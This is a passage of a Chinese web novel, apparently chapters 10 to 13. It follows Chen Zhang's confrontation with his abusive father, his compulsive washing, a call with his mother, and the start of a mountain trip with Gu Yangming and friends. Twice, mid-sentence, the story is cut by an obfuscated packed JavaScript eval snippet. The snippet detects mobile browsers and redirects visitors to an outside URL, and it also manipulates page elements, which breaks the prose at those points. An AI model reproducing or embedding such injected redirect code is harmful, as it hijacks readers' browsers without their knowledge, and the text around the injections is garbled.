她自问做不到这样毫无保留地付出,身边也从未出现过这样的人,所以她不相信谢允能做到,或者说,不相信人性经得起这样的考验。 顾扬名突然转向陈璋:“你信世上有这种人吗?” 陈璋不想话题引到自己身上,视线投向窗外,心里模糊地闪过一个影子,回了一个模棱两可的答案。 “也许吧。” 车内再次回归平静,只有引擎低鸣。 汤佳到家下车前,忍不住问陈璋:“哥,你都辞职了,什么时候搬 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顾扬名手握方向盘,目视前方,仿佛早已准备好说辞,流利答道:“过阵子我有几个国外朋友要回来玩,他们没怎么来过蓉城。你不正好在做旅游相关的工作吗?到时候帮我们安排一下行程呗。” 陈璋听后,直接应下:“可以是可以,但我这边目前只能安排大巴车用车。你们大概多少人?” 顾扬名估计了一下,“估计十个人左右。” 陈璋点点头,“那小型大巴够用,最多能坐二十人,到时候人再多点也没问题。” 不过说完他又觉得有些疑惑,“你们自己有车,为什么不自己开?会方便很多。” 顾扬名摇头解释:“大家都是来放松玩的,不想操心,而且蓉城景区范围大,下周就是中秋,紧接着国庆,人肯定爆满。” “你们有固定的成熟路线和停车点,比我们自驾漫无目的地找地方省心得多。” 陈璋没想到顾扬名考虑得这么周全。 “好,那你确定具体时间和人数后就告诉我,我来安排。” 顾扬名顺势发出邀请,语气自然:“行程定了,你要不要和我们一起?” “不用了,”陈璋想都没想就脱口拒绝,随即觉得语气太生硬,又补充道,“我也不认识其他人,你们自己玩得开心就好。” 顾扬名不愿就此放弃,声音放软了些,“陈璋,一起吧,好吗?他们都很好相处,你可以借此机会交些新朋友。而且,我们也确实需要一个人帮忙介绍景点。” 陈璋仍坚持拒绝,找了个实在的理由,“真的算了,其实我自己都没把蓉城的景点逛全过,更谈不上介绍了。” 顾扬名继续劝道,脸上带着一点了然和鼓励的笑意,“那就更应该一起去看看了,就当是熟悉业务了。” 这已经是他第三次邀请。 事不过三,如果陈璋仍旧拒绝,他绝不会再勉强。 但他总觉得,很多事陈璋内心或许是愿意尝试的,只是那层自我保护的壳太厚,需要有人从外面轻轻推他一把。 当然,若他真心抗拒,三次试探也已足够尊重他的边界。 这一次,陈璋没有辜负他的期待,沉默片刻后,轻声应道:“好。” 顾扬名眼角弯起,“真的不用担心,我保证你会开心的。” 因为这本来就是他专为陈璋组的局。 陈璋有些排外,边界感强,不愿轻易让人走进他的世界。 这点太明显了。 既然他不愿出来,那顾扬名就想办法,把他拉进自己的世界。 下车后,陈璋心神有些飘忽,脑子里乱糟糟的。 顾扬名降下车窗,喊住他,“陈璋。” 陈璋下意识回头,“嗯?” 顾扬名笑着说,“晚安。” 陈璋呆滞地点点头,“你也是,注意安全。” 陈璋沉浸在自己的思绪中,低着头机械地往小区里走。 他答应了,又隐隐开始后悔。 他不确定自己能否与顾扬名那些背景各异的朋友融洽相处,他已经很久没有尝试融入新的圈子、结交新朋友了。 他怕气氛尴尬,怕自己格格不入,最终让双方都不愉快,也让顾扬名为难。 直至走到老小区楼下,他才蓦地站定,血液仿佛瞬间凝滞。 楼前的阴影里,立着一个他这辈子最不愿见到的人。 “陈璋?”对方似乎也有些不确定,试探性地喊了一声。 陈璋闻声抬眼,尽管光线晦暗不明,他还是一眼就认出了那张令人恶心的脸。 霎时间,他脑中一片空白,只剩下混乱的嗡鸣。 他为什么会在这里? 他怎么会找到这个地址? 纷乱的心绪裹挟着一种被冒犯的惊怒,陈璋几乎是质问道:“是我妈告诉你的?” 11. 第十一章 陈璋只能想到王知然,尽管他不愿随意揣测,却控制不住自己。 因为眼前这个人,是陈远川。 陈远川语气拘谨,多年未见亲生儿子,反倒有些无措,“不是、不是她,是我自己找来的。” 陈璋浑身瞬间泛起强烈的排斥感。 他几乎一天没吃东西了,现在夸张地感到胃里一阵恶心想吐。 “谁告诉你我住这的?”他的声音冷得惊人。 陈远川眼神闪烁,支支吾吾,不愿明说。 陈璋也懒得再追问。 他几乎认定了是王知然,固执地认为这两人是串通好的。 他转身想走,陈远川却急切地上前,伸手想拉住他。 陈璋觉得脏。 眼前这个人脏,他的声音脏,手也脏。 他不想被碰到,一丝一毫都不想。 “别碰我!” “离我远一点!” 他猛地后退一步,声音里是压抑不住的厌恶。 陈远川面子挂不住,语气竟带上一丝委屈,“陈璋,我是爸爸呀!” 陈璋闻言却突然低低笑了起来,笑声越来越大,眼中的泪却也跟着涌出:“爸爸?” “你还好意思说你是爸爸?你连人都不配做,怎么会是爸爸?” 陈远川嗫嚅道:“我就是想来看看你......” 陈璋脸色难看,冷嘲热讽着:“看我?现在?大半夜?在我家楼下?” “这话你自己信吗?” “你到底想干什么?” 陈远川又想靠近,陈璋的反应更加剧烈,几乎是低吼出来。 “我说了,别靠近我!” “陈远川,你就像只臭虫,人渣。” “你应该去死,死得离我越远越好!” 这下陈远川彻底挂不住脸,语气也控制不住地拔高,“我是你爸!你读了这么多年书,就这样跟老子说话?” 他甚至怒气冲冲地举起了手,似乎想打下去。 陈璋冷眼相对,反而将脸凑近了些,声音平静得可怕,“来,打。” “我保证这一巴掌下去,不是你死,就是我死。” 陈璋早已不是当年那个无力反抗的小男孩。 陈远川也不再是当年那个能压制他的人。 如今的陈远川一身是病,多活一天都算捡来的。 陈远川悻悻地放下手,试图软下声音打感情牌,“陈璋,爸爸生病了,如今只有你了,你不能这样对我......” “我现在没地方住了,我们爷俩一块儿生活吧,也好有个照应。” 陈璋冷笑两声,“生病?我还以为你快死了。” “怎么,想死在我的房子里,给我添点晦气?” “陈远川,你以前可不是这样的,没想到你也有今天啊!” “那不如早点去死。” 陈远川气得呼吸不顺,几乎站立不稳。 陈璋就这样冷眼旁观,看着陈远川踉跄后退,靠着路灯缓缓坐下。 沉默数秒后,陈璋毫不犹豫,转身离去。 与此同时,两道不约而同的声音响起。 “陈璋!” “陈璋。” 一道是陈远川试图阻止陈璋的声音,一道是顾扬名的声音。 陈璋下意识地回头,看见顾扬名站在不远处的阴影里,什么也没多问,什么也没多说。 只是上前几步,将一部手机递了过来。 “你忘在车上了。” 陈璋动作僵硬地接过手机,指尖避免着任何可能的接触,低声道:“谢谢。” 此刻的他,心神俱疲,只想立刻逃离这个混乱的场面,根本无心与顾扬名多做交流。 说完,他便转身走了,背影有些慌乱和匆忙。 顾扬名没有出言挽留,他目送陈璋的背影消失在楼道口,然后转身走向仍倚着路灯喘息的陈远川。 “你没事吧?”顾扬名问道,语气平静,听不出什么情绪。 陈远川苦笑着摇了摇头,“没事......” 他抬起头,带着一丝试探的语气问:“你和陈璋......是朋友吗?” 没等顾扬名回答,他又自顾自地说了下去,语气带着抱怨,“我这个儿子啊,从小就有点六亲不认,我......” 顾扬名打断了他的话,语气疏离,“不是朋友,我就是一个跑滴滴的司机,他落了东西。” 他看了一眼陈远川,“既然你没事,我就先走了。” 陈远川似乎还想说些什么,但顾扬名已转身离开,步伐干脆,没给他任何纠缠的机会。 - 陈璋回到家,防盗门在身后“咔哒”一声锁上,他一直紧绷的神经骤然断裂。 他直接冲进卫生间,扶着洗手台开始不住地干呕,胃里空空如也,只能吐出一些酸水。 如果说之前还能勉强压抑,那么在亲眼见到陈远川之后,那种生理性的厌恶和应激反应已完全失控。 他吐到脸色发白,手脚发麻,眼眶也因为剧烈的生理反应而泛红。 原本打算吃点东西再休息的念头已经没有了。 陈璋用冷水泼了泼脸,他机械地擦干手,走向卧室。 卧室不大,基本上只有一张床、一个衣柜,异常整洁。叠好的被子棱角分明,白色瓷砖地板光洁得几乎看不到灰尘。 衣柜和床之间约有半米的距离,陈璋小心翼翼地侧身通过,确保身体没有碰到床沿,然后拿出睡衣,准备去洗澡。 洗完澡,顺手将换下的衣物也洗净晾好。 接下来,他应该直接休息的。 然而,就在他准备踏进卧室门槛的一刹那,一个念头钻入脑海。 刚才晾衣服的时候,手碰到了晾衣杆,已经不干净了。 他退回卫生间,拧开水龙头,开始洗手。 打上肥皂,冲洗,关水。 可关水龙头时,手又碰到了旋钮,他觉得再次被污染了。 于是,他重新开始,先清洗水龙头,再洗手。 如此来回三四次,终于觉得双手洁净了。 可刚松了口气,他又觉得脚也不干净了,刚才洗手时,似乎有水花溅到了脚背上。 他像是走不出陷阱的笼中困兽,开始了新一轮的清洗。 从脚到手,再从手到脚......他逐渐无法思考,只是被一种强大且重复的冲动驱使着,机械地重复着冲洗的动作。 手上的皮肤因过度冲洗而起皱发白,意识甚至变得模糊,只剩下必须弄干净的念头。 最终,陈璋撑着洗漱台,低声抽泣。 他是个疯子,是个神经病,是个怪物。 就这样过了好几分钟,他才抬起头,望向镜中的自己,脸颊没几两肉,眼下一片深褐色的黑眼圈,整个人看不到一点活气。 他的左眼下方有颗从小就在的黑痣。 小时候隔壁的老奶奶说这是颗泪痣,预示这辈子要哭很多次。 陈璋觉得这话不吉利,所以他不喜欢哭。 哭泣没有好处,只会让陈远川打得更狠。 回想起刚才与陈远川的见面,陈璋不得不承认,有好几个瞬间,他几乎要动手掐死陈远川。 他又掬水洗了把脸,再次重复洗手、洗脚的动作,强行压下身体的不适感,才终于走进卧室。 这间屋子是他的安全区,除了他自己,谁都不能进来。 就连他自己,也必须每天洗完澡、洗完头才能上床。 这也是他不愿与别人同住的原因。 大学时,若有人不小心碰到他的床,他会立刻更换床单,哪怕让对方面上难堪。 努力平复心情后,陈璋还是拨通了王知然的电话。 王知然接得很快,“怎么了?” 陈璋直接问:“是你告诉陈远川我住在这的吗?” 王知然一愣:“陈远川去找你了?”她很是诧异,随即否认,“我没告诉他你住哪儿。” 陈璋不信:“那他是怎么找到我的?” 王知然也有些不悦:“陈璋,你是在质问我吗?这事我有必要撒谎吗?” “我承认之前没跟你说他回来的事,是我不希望你知道,更不想他去找你。你意外撞见他,你不高兴,我理解,但这件事我不能接受。” “你既然已经认定是我做的,再打电话来问,又有什么意义?” 她的声音渐渐带上愤怒的情绪,“你不是带着问题来问我,你是带着答案来审问我!” 这些天,王知然能感觉到陈璋一直在生气,也始终拒绝沟通。 她一直忍着,这些陈年旧事,她作为母亲,自认有责任承担一部分。 但不代表她能接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201110|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受无端的指责。 陈璋沉默了。 他的确先入为主,的确不信任王知然。 原本汹涌的情绪像被突然截断,他意识到自己的行为有多荒唐。 他不该这样对待她。 电话两头安静了近一分钟。 王知然再开口时,语气缓了些,“老家的房子很早前就拆了,陈远川之前一直借住在一个亲戚家。至于他怎么找到你的,我确实不知道。” 她顿了顿,声音很低,带着一丝疲惫:“陈璋,我不傻,同一个坑,不会跳第二次。” 陈璋低声说:“......对不起。” 王知然也软下声音:“我之前是意外遇见他的,他病了,找我借钱,他是你爸爸,所以我......” 她话没说完,陈璋已挂断了电话。 所以,是因为他,才借的钱吗? 为什么总打着为他好的理由,做他最讨厌的事? 陈璋觉得头痛,眼眶也跟着一阵阵发痛。 他闭上眼,躺在床上。 高三之前,陈璋只有一个念头:远离蓉城。 这座城市对他而言,几乎没有任何美好的存在。 他想逃到很远的地方,再也不见任何人。 高二那年,王知然和汤勤为离婚了。 她是净身出户的,口袋里只有几千块钱,收拾了几件衣服,就带着陈璋离开了。 汤佳的生活有汤勤为保障,不用担心。 可陈璋没有。 王知然总是对他说:“没事,有妈在,还怕没一口饭吃吗?” 那时,陈璋并没有实感。 直到高三交学费那天,陈璋读的是蓉城最好的高中之一,八中,一所私立学校。 正常考进去的学生学费要三万,买分数进去的甚至要十几万。 陈璋初中还算努力,是自己考进去的。 学费通常要在开学前一周打到学校账户。 陈璋直到最后一天才交上。 那晚的情形,他记得很清楚。 在天桥底下,他和王知然坐在车里,借着车内昏暗的灯光,一点一点地数钱。 一元、五元、十元……几乎全是皱巴巴的零钱,是王知然一单单跑车挣下来的,东拼西凑,才勉强凑齐。 那还是现金为主的年头。 王知然没有固定线路,也没有稳定的客源。为了多赚一些,她还会去偏远的工地附近载那些满身灰土的工人。 用一辆蓝色的面包车。 他们在旁边超市把零钱换成百元钞,仔细数清,才走进银行自助存取机存钱、转账。 陈璋站在银行门外等王知然。 夜很深了,街上没什么人。 他站在树下,他眼眶有些发酸,便仰起头,想找找天上的月亮,透过层叠的树叶缝隙,他望见了一束光。 他以为是月光,不自觉地向前走了几步,想看得更真切些。 可当他走出树影,站在空旷处抬头,才看清那根本不是月亮。 那是一抹高层居民楼家窗里透出来的光。 陈璋忽然觉得心里涨涨的、酸酸的、麻麻的。 他回头,隔着玻璃,望向银行自助区里王知然的背影。 她很矮,大概只有一米五八,很瘦,体重不到九十斤,头发在灯下泛着枯黄。 他突然觉得,这个女人如此强大,又如此脆弱。 他不想离开蓉城了。 那一盏灯,何尝不是王知然为他点亮的呢? 他是埋怨过王知然的。 可他更清楚地知道,他爱她,就像冬天穿着棉衣走在下着小雨的街道上。 雨不大,但很冷。 那件棉衣,却是唯一能给他温暖的东西。 算了。 他心想,算了。 这件事,就算了吧。 陈璋试图说服着自己,眼泪却不受控制地不停流下,湿了他整张脸。 直到手机铃声突兀地响起,他看也没看就接了起来。 “陈璋。” 是顾扬名的声音,透过听筒传来,却格外清晰。 陈璋沙哑地应了一声,带着浓重的鼻音,“......嗯?” 顾扬名的声音忽然放得很轻、很软,像羽毛一样轻轻刮过陈璋的心头。 “你是不是哭了?” 12. 第十二章 如果没人问这一句,陈璋或许不会更加难受。 就像小时候,每次挨打后,他蜷缩在木桌下,内心渴望有人能发现他,带他离开那个充满酒臭和咒骂的家。 可惜,没有人会来。 他需要这一声问候,却更加羞耻于这一句问候。 他害怕回应之后,对方会追问:“你为什么哭?” 更害怕对方会说:“这点小事,不值得哭。” 一个成年人似乎没有权利纠结于儿时的痛苦,那会被视为不成熟和矫情的表现。 所以陈璋选择了沉默。 他在等对方挂断电话。 但顾扬名没有这样做,他甚至没有催促陈璋。 时间一分一秒流逝,听筒紧紧贴在耳边,彼此都能够听见轻浅的呼吸声,证明着对方的存在。 大概过了两三分钟,顾扬名开口,眼角湿润,声音有些嘶哑,像是极力压抑着什么。 “陈璋,我可以不挂电话吗?” 这句话让陈璋没来由地心虚慌乱起来。 他没有挂断,没有追问是不是哭了?也没有问为什么哭? 他只问,可不可以不挂电话? 这让陈璋更想推开对方。 他沉默片刻,坐起身,干咳几声,深吸一口气,语气有些欲盖弥彰的强硬。 “你打来是可怜我吗?” “还是来嘲笑我?” “或者说就是单纯想八卦一下,楼下和我吵架的那个人是谁?和我有什么关系?” 这样的陈璋,顾扬名太熟悉了。 陈璋总是这样,因为害怕听到不想听的,就先一步撕开所有不堪的窗户纸。 他清楚,陈璋在试探,用最坏的方式。 顾扬名还在仔细斟酌如何开口,“我......” 陈璋没等顾扬名回答,自嘲地笑了,笑声苦涩,“楼下那个人是我爸,他酗酒、家暴,现在半死不活地找上我,我让他去死。” “你还想知道什么?” 顾扬名沉默片刻,声音很低,甚至异常的温柔,“陈璋,这并不好笑。” “我没有想知道,你也不用说,我只是想告诉你,我没有挂电话。” “如果你需要有人回应,我一直在。” 陈璋本稍稍平复的心情,勉强筑起的心防,再次溃不成军。 不该是这样的,顾扬名应该觉得被冒犯后,直接挂断电话,甚至说很难听的话。 他哽咽地说:“顾扬名,你这种人......真的很讨厌。” 他并不是讨厌顾扬名,只是不适应这样的人出现。 上一个这样待他的人,被他弄丢了。 如果这一个又弄丢了,该怎么办? 顾扬名却说:“那你讨厌一会儿就行了,我这种人其实挺难让别人真的讨厌的。” “没想到你还挺难搞的。” 他的语气里甚至带着点轻松。 陈璋被他这么一说,原本的郁闷竟消散了不少。 他试图用平静地语气说:“你打电话到底要干什么?” 顾扬名顺势接话:“没什么,你早点休息吧。” 陈璋却脱口而出,“我讨厌别人说话只说一半。” 这是他第一次主动向顾扬名明确地表达自己的喜恶。 顾扬名在手机那头低笑两声,“真没什么,就是想告诉你人数定好了,加上你一共11个人。我看了景区介绍,爬山需要一整天,当天往返不太现实,所以在山上住一晚吧。” 陈璋想了想,“山上有家酒店,你记得提前订。” “不用,”顾扬名说,“既然都爬上去了,不如住帐篷更有意思。你就不用自己带了,和我住一个就行。” 陈璋很想拒绝。 他不习惯在外过夜,更别提是和人挤在狭小的帐篷里。 可话到嘴边,却说不出口。 偶尔尝试一次,也许......也不是不行。 他转而问:“还有别的事吗?” 顾扬名说:“没了,那你休息吧。”他顿了顿,又轻声补了一句:“有事给我打电话。” 陈璋应道:“好。” 他等着对方挂断,顾扬名似乎也在等。 可两人谁都没有先挂。 直到陈璋迷迷糊糊躺下睡着,电话一直到手机没电才自动断开。 这一晚,陈璋做了一个很奇怪的梦。 他被困在一栋居民楼里,想回家,于是不停往下跑,楼梯盘旋往复,却怎么也到不了一楼。 他困惑是不是走错了,便转身向上爬,意外发现一个黑衣男子低着头一直跟在后面。 陈璋心头一紧,浑身发冷,飞快地在楼层间穿梭,想甩掉对方,可那人仿佛在他身上装了定位器,如影随形,怎么都甩不脱。 直到他听见楼上一声巨响,他循声向上,看见一扇门。 他用力拉开,发现门口站着一个人,逆着光。 梦里的陈璋看不清对方的脸,却莫名地信任他。 那人语气熟稔,带着点埋怨,“你怎么才来?都已经七点了。” 他拉着陈璋踏进门里,眼前是一个巨大的早市,人声鼎沸,烟火气十足。 对方带他来到一个热气腾腾的包子铺前,“老板,要两个包子。” 老板笑着递过来,他又把包子塞到陈璋手里:“快吃吧,还是热的。” 陈璋拿着温热的包子,觉得莫名其妙,身上却渐渐暖和了起来。 早上醒来,手机已经关机,充上电才发现,快九点了。 他原本打算去景区看看,昨天发生太多事,根本没能好好逛。 陈璋给王知然打了个电话,询问最近有没有旅游团需要安排,他想先熟悉一下业务。 王知然直接把陈璋拉进一个工作群,说:“一般有团队都会在群里通知,如果有特殊要求的游客,我会单独告诉你。快中秋国庆了,游客很多,你早点把行车表安排出来,另外记得预留几辆车备用,以防万一。” 陈璋看了看群里的消息,“我看已经有行车表了。” 王知然那边听起来环境嘈杂,很忙,“这是我之前排的,你要是觉得没问题,先用这个也行。有空就去车站巡查一下。” “家里有车,你需要用就找汤佳。” 陈璋听着王知然的安排,没有提出异议。挂断电话后,他简单洗漱了一下就出门了。 是的,一夜过去,昨晚的不愉快仿佛被悄悄掩盖,无人提起。 陈璋和王知然之间似乎从不需要“对不起”三个字,争吵过后也没有正式和好的步骤,只需隔上一夜,母子关系就能自动重启。 陈璋不知道这算不算正常,但这确实是他和王知然最惯常的相处模式。 当然,汤佳和王知然之间的互动就完全不同。 她们会聊很多事,学校的、朋友的,甚至工作上的琐碎。 而陈璋和王知然之间从来没有过这样的交谈。 他不会主动说,她也从来没有主动问过。 接下来的两天,陈璋跟着车往返景区,熟悉路线和接待流程。 不得不说,有事情忙,真的能让人暂时忘记很多情绪。 他甚至忙到忘了回顾扬名的消息。 -你怎么还不回消息? -陈璋! -你手机死掉了,你知道吗? -你不回我是吧? -你等着! -等你回我,我要晚你两倍时间再回! 每次看到顾扬名这种近乎孩子气的发言,陈璋都觉得有点好笑。 于是他回:那你记得凌晨一点再回我,不然凑不满六个小时。 但顾扬名也只是嘴上说说而已,每次陈璋一回消息,他基本三秒内就会回复。 明明需要朋友的是陈璋,可看起来,顾扬名反而更需要他。 陈璋觉得自己有点奇怪,因为他居然会因此......感到一丝高兴。 中秋节的前一天,是他们原定出发的日子。 陈璋有些焦虑不安,反反复复和顾扬名确认行程和人数。 顾扬名会不厌其烦地一遍遍说:“没问题,相信你。” 生活中的陈璋其实是个很随性的人,不喜欢计划,闲下来时想到什么就做什么。 可一旦遇到出行或需要策划的事,他就好像变了个人,需要不断地确保每个环节都不能出错,神经紧绷。 就像他的强迫症,总在奇怪的地方发作,甚至有些夸张。 但万一真的出现变故,陈璋反而能镇定下来,迅速寻找解决办法。 顾扬名特别正色直言地说:“陈璋,你要相信你自己,不管发生什么,有我给你兜底。” 陈璋下意识回嘴:“......你又不是我爸。” “可我是你朋友啊!”顾扬名解释道,“不仅我是,这次去的朋友也会成为你的朋友。既然是朋友,那这就不是你一个人的事,真有什么意外,还有我们在,你为什么总想一个人做完所有的事?” “你可以试着相信我。” 陈璋沉默片刻,说:“可你们是租我的车,我是老板,你们是游客。” 顾扬名却道:“但你现在是以朋友的身份和我一起去的,不是老板。就算你是老板,你提供的服务也早就超出范围了。” “我会给你点个五星好评的,怎么样,陈老板?” 陈璋淡淡回应:“五星好评不必,顾总多介绍点这样的游客就行。” 顾扬名顺杆儿爬,说:“好说好说,那陈老板可得好好谄媚我一下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201111|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈璋顺着他的话:“行,到时候给你包个大红包。” 顾扬名却道:“可我不缺钱。” 陈璋问:“那你要什么?” “还没想好,”顾扬名语气轻松,“等想好了再说。” 陈璋有些发愣:“......好。” 但他心里并不喜欢这句话。 他希望顾扬名现在就说清楚是什么事。 现在不说,他总觉得会被忘记,像个悬而未决的约定,在某天突然变成一个他无法兑现的要求。 这样的事不是没有过。 以前,陈璋和赵希一打赌输了,赵希一让他答应一件事,没说具体是什么。 陈璋答应了,一直在等赵希一开口。 甚至在高一绝交的时候,他还幻想过赵希一会突然出现,说:“我要你向我道歉。”或者,“我要你站在我这边。” 陈璋都会义无反顾地答应。 可那终究是幻想。 有些承诺,说的人或许早已忘记,记得的,却总是另一个人。 - 出发那天早上,蓉城天气不算好,天色灰蒙蒙的,像一块洗发白了的布衣,让人觉得有些压抑。 陈璋安排的司机是熟悉的高师傅,彼此了解,有事也好沟通。 他和高师傅在蓉城的奉天大酒店门口等人,这是蓉城最好的酒店之一,像这种旅游的车,只能在外等。 顾扬名最先到,他身后跟着一个很漂亮的女生,一头黑色大波浪长发,一身利落的修身皮衣,整个人靓丽又明媚,是一抹划破灰蒙天气的亮色。 顾扬名穿着褐色风衣,两人并肩走来,看上去相当登对。 陈璋心想:不愧是顾扬名的朋友,真是郎才女貌。 上车后,顾扬名看见陈璋坐在第一排靠窗的位置,很自然地走过去坐在了他旁边。 陈璋注意到这位大美女似乎有些不悦,不过在她的视线与陈璋对上后,立刻展露笑颜,声音清脆。 “你好呀!我叫乐之,是窈窕淑女,钟鼓乐之的乐之。” 陈璋连忙起身回应:“你好,我叫陈璋,王字旁的璋。” 乐之笑着点点头,向后走去,坐在了顾扬名身后的位置。 陈璋轻轻吁了口气,重新坐下,却发现顾扬名正侧头看着他,眼角带着点笑意。 有点奇怪,那笑意仿佛别有深意。 陈璋忍不住问:“你笑什么?” 顾扬名嘴角一扬,打趣道:“没什么,我天生爱笑,爱笑的男孩子运气都不会太差。” 陈璋面无表情地接话:“那是因为运气差的人根本笑不出来。” 顾扬名笑得更大声了,很刺耳...... 陈璋:“......”他有点想把顾扬名的嘴缝上。 随后,其余八个人陆续上车。 每个人上车时都会和陈璋打招呼,陈璋感觉自己像个下来视察的领导,见一个站一次、自我介绍一遍。 顾扬名抿着嘴,别开脸看向窗外,肩头微颤,忍笑忍得很辛苦。 最后上车的是个外国人,个子很高,一头浓密的卷发,眉眼深邃,中文却十分流利。 他甚至还给自己取了个中文名:王大帅。 陈璋是个很淡定的人,他愣是没笑,因为客观地说,对方确实挺帅。 王大帅和陈璋打完招呼,转头对顾扬名说:“你怎么不和乐之坐一块儿?” 顾扬名坦然答道:“我更喜欢和新朋友坐。” 王大帅耸耸肩:“OK。”便向后走去。 陈璋忍不住回头看了一眼,恰好又与乐之的目光撞上,他下意识地微微点头。 乐之倒是落落大方,递来一袋包装精致的零食,问陈璋:“要吃点吗?” 陈璋摇摇头:“不用了,谢谢。” 乐之拿着零食的手向上抬了抬,道:“那给你旁边的扬名吧,他爱吃这个。” 陈璋连忙接过,转身递给顾扬名。 顾扬名:“......” 他抬眼看了看乐之,对方笑眯眯地回看他,眼神里带着点狡黠。 陈璋觉得这两人关系不一般,但没好意思多问。 顾扬名却察觉出他的猜测,他不喜欢陈璋这种下意识将他推远、置身事外的态度。 于是他凑近陈璋,压低声音,用只有两人能听清的声线说:“别误会,她不喜欢我,我也不喜欢女的。” 陈璋一脸懵,大脑还在处理上一个信息点,只是下意识点点头。 顾扬名噗嗤一笑:“你听清我说什么了吗?” 陈璋愣愣地重复:“你说......什么?” 顾扬名挑眉,一字一顿地重复:“我、不、喜、欢、女、的。” 陈璋:啊?什么?咦......??? 13. 第十三章 顾扬名看着陈璋愣怔的模样,眼微微眯起,轻啧一声:“你这是什么表情?” 陈璋被他问得心头一跳,生怕他误会,连忙摆手解释:“没有没有,我就是惊讶你怎么就这么直接说出来了。” 说完,他悄悄瞥了眼顾扬名,重点是顾扬名说这话的语气里那股子得意劲儿是什么意思? 不仅如此,陈璋悄悄环顾四周,车上其他人个个淡定自若,聊天的聊天,玩手机的玩手机,甚至还有补觉的,显然这是个众所周知的“秘密”。 顾扬名慢条斯理地拆开零食包装,不以为意:“这有什么不能说的,不是很常见吗?” 常见吗? 陈璋不敢苟同,只能僵硬地笑了笑,声音干巴巴的,“是吗?” 顾扬名忽然靠近,压低声音问:“你不会是讨厌同性恋吧?” 这顶“帽子”太大,陈璋可不敢接,连忙摇头:“怎么会!我不讨厌的。” “你喜欢男的、女的,哪怕不是人都行!” 他语气格外认真,甚至举起手来发誓,“我接受能力很强,我保证!都21世纪了,大清早亡了。” 顾扬名被他这一本正经又慌里慌张的模样逗得大笑,笑声清朗。 “陈璋,”他笑够了,才擦擦眼角,“你怎么能这么好玩。” 陈璋:“......” 蓉城的山势陡峭威严,山区面积广阔,但出于安全考虑,只开放了部分区域,其中最有名的便是花玉山。 入秋后,漫山枫叶层叠,黄绿红三色交织,大片大片泼洒开来,中间那条狭窄的山路反倒成了唯一的缝隙,蜿蜒曲折,成了一条锦绣之路。 一行人从登山口进入后,体力与兴致各异,很快便分成了三个小队。 走在最前面的是乐之、王大帅,还有一位齐耳短发的女生,名叫乐君。 她穿着休闲,身形瘦小,自上车和陈璋打过招呼后便再没开过口,给陈璋的感觉像是山间一缕凌厉的风。 陈璋还猜测过乐之和乐君是不是姐妹,毕竟“乐”姓并不常见,但两人长相实在毫无相似之处,这个疑问也就压在了心底,没有问出来。 中间一队,是陈璋、顾扬名,以及另外两位女生和一个男生,分别叫温柠、叶嘉禾和卫子赫。 温柠和叶嘉禾似乎是关系很好的姐妹,一路上聊的都是明星八卦,内容让陈璋完全插不上话。她们兴致很高,上山速度不紧不慢。 卫子赫则一路抱着相机走走拍拍,还背了不少水,不过其中大部分都是叶嘉禾在喝。 落在最后的是辛翰宇、辛浩宇和苏雨桐。 苏雨桐走得慢,辛家两兄弟一直耐心陪在她身边。 爬了约莫两三个小时,陈璋一行人到了一个可供歇脚的小亭子。 王大帅他们三人已经休息了好一会儿,见陈璋等人上来,便起身笑道:“你们不行啊!” 陈璋拄着登山杖,额头全是细汗,苦笑了一下,他没拖后腿已经算不错了。 顾扬名听不得这话,上前就给了王大帅一锤,“少得意,也不知道是谁第一次跟我爬山时,抱着我的大腿死活不走,哭爹喊娘的。” 王大帅脸色一变,赶紧跳起来,捂住他的嘴,“顾扬名!少揭我短!小心我鱼死网破,把你那点事也抖落出来!” “无所谓啊,”顾扬名侧身走过,坐在王大帅刚才的位置,长腿舒展,“反正你干的丢人事肯定比我多。” 他顿了顿,又慢悠悠地补了一刀,“哦对了,秦年上次可说了,要是再发现你偷偷跑去喝酒,他一定亲自打断你的腿。” 王大帅嘴角一抽,顿时想起上次被秦年从酒吧逮回去、折磨得生不如死的经历。 后来他直接跑路,两人至今没再联系。 他一身恶寒,觉得不能跟顾扬名待太久,这人跟秦年根本是一路货色。 陈璋静静站在一旁看他们斗嘴,没找地方坐。 亭子不大,能坐的地方都有人了,还有一些木桩可坐,但肉眼可见地脏。 就算累得半死,陈璋也能咬咬牙忍着。 典型的死要面子活受罪。 不过温柠和叶嘉禾不讲究,直接找了块平整些的大石头坐下,叶嘉禾甚至拍了拍旁边的空位,对着陈璋招呼:“陈璋,要一起吗?这边还能挤挤。” 陈璋坚持摇头,声音有些发虚:“不用了,谢谢。” 他看了一眼旁边的卫子赫,心里暗暗佩服,这个人还是真的厉害,爬了这么久的山,没见他大喘息过就算了,甚至现在都还举着那个沉甸甸的相机,拍个不停。 顾扬名瞧着陈璋站着不动,朝他招手:“过来坐!” 陈璋摇头,嘴上坚持:“没事,不累。” 心里却忍不住腹诽:坐哪?难道坐你腿上? 哎,还真就是坐他腿上! 顾扬名看出陈璋在硬撑,直接上前一把拉住他,拽到面前,掐着他的腰往下按:“行了,你不累我还看着累呢,没地方坐就坐我这儿。” 陈璋:??????这合适吗?? 因为他是被面对面、直接按坐在了顾扬名的大腿上。 背着登山包,背对坐不现实,可这姿势也太......奇怪了吧! 不知道是不是陈璋的错觉,他甚至觉得隔着衣物还能感受到对方腿上传来的温热。 这一举动,顿时让整个亭子里的人都看了过来。 